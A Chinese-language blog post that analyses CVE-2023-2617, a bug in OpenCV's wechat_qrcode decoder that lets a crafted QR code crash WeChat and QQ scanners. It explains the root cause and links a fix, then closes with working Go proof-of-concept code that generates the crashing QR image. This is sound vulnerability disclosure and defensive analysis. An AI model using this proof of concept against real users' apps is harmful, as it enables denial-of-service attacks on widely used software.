让微信崩溃的二维码

更新:漏洞编号 CVE-2023-2617


早上看见了那张说是能让微信和QQ扫码闪退的二维码,试验了下果然是这样。这里放张自制的

invalid qrcode

有一些人就开始上手机调之类的,手机上的那一坨C++编译出来以后鬼能看得懂啊,而且微信的扫码代码是开源的,就在 https://github.com/opencv/opencv_contrib/blob/4.x/modules/wechat_qrcode/ ,直接看就好了。

配置环境,上代码调试一下

// .......
        auto path = R"(C:\Users\Azuk\Documents\code\qrtest\build\Debug\a.png)";
        img = imread(path);
// ......
            auto res = detector->detectAndDecode(img, points);
// ......

调试器一挂马上看见问题,在 wechat_qrcode/src/zxing/qrcode/decoder/decoded_bit_stream_parser.cpp:198 行,有

// try to repair count data if count data is invalid
if (count * 8 > available) {
    count = (available + 7 / 8);
}
ArrayRef<char> bytes_(count);
char* readBytes = &(*bytes_)[0];  // CRASH HERE
for (int i = 0; i < count; i++) {
    //    readBytes[i] = (char) bits.readBits(8);
    int readBits = available < 8 ? available : 8;
    readBytes[i] = (char)bits.readBits(readBits, err_handler);
}

count 为 0,这个时候还在分配 readBytes 读了它第 1 个元素,所以崩溃了。简单修复方法就是 count <= 0 那么 return 掉。

为什么会这样呢?二维码中数据分为不同区段(segment),其中有一个比较灵活的字节段(byte segment)。 在二维码原始信息中字节段这样储存:

Version 1-9:

ModeChar CountData
0100 (Byte)00000001 (8 bits in Byte or Kanji Mode)(…)

所以当我们构建一个这样的二维码:

(正常段)+(字节模式指示位 4 + 长度位 00000001(8位)) ,并让这段数据刚好占用完二维码的所有数据容量,这样扫码的程序看到字符数量应该有1,会来读这个段,但之后又没有数据,从而造成了上面的错误。

为什么要用二维码的字节段呢?因为字节段的长度位正好是8位,其实日语段用的也是8位,同样可以。数字模式是10位、字符数字段是9位,触发不了这个 bug (但没看有没有其他的 bug)。

在 opencv_contrib 那提交了个简单的 pr : https://github.com/opencv/opencv_contrib/pull/3479

刚看了一下自己手速很快啊,其他人在后面也交了 pr ,没再看他们怎么搞的了,感觉够用

恶意二维码 POC:

用到了一些 github.com/skip2/go-qrcode 的私有代码:

func main() {
	qrcode.GenEvil(256, "qr.png")
}
func GenEvil(size int, filename string) error {
	var q *QRCode
	var encoder *dataEncoder
	var encoded *bitset.Bitset
	var chosenVersion *qrCodeVersion
	encoder = &dataEncoder{
		minVersion:                   1,
		maxVersion:                   1,
		numericModeIndicator:         bitset.New(b0, b0, b0, b1),
		alphanumericModeIndicator:    bitset.New(b0, b0, b1, b0),
		byteModeIndicator:            bitset.New(b0, b1, b0, b0),
		numNumericCharCountBits:      10,
		numAlphanumericCharCountBits: 9,
		numByteCharCountBits:         8,
	}
	encoded = bitset.New()
	// padding
	encoded.Append(encoder.modeIndicator(dataModeByte))
	l := 16
	encoded.AppendUint32(uint32(l), encoder.charCountBits(dataModeByte))
	for i := 0; i < l; i++ {
		encoded.AppendByte(byte(1), 8)
	}
	// evil
	encoded.Append(encoder.modeIndicator(dataModeByte))
	encoded.AppendUint32(uint32(1), encoder.charCountBits(dataModeByte))
	//encoded.AppendByte(byte(0), 8)
	chosenVersion = &qrCodeVersion{
		version:          1,
		level:            0,
		dataEncoderType:  0,
		block:            []block{{1, 26, 19}},
		numRemainderBits: 0,
	}
	fmt.Printf("%+v", chosenVersion)
	q = &QRCode{
		Content: "",
		Level:         Low,
		VersionNumber: chosenVersion.version,
		ForegroundColor: color.Black,
		BackgroundColor: color.White,
		encoder: encoder,
		data:    encoded,
		version: *chosenVersion,
	}
	return q.WriteFile(size, filename)
}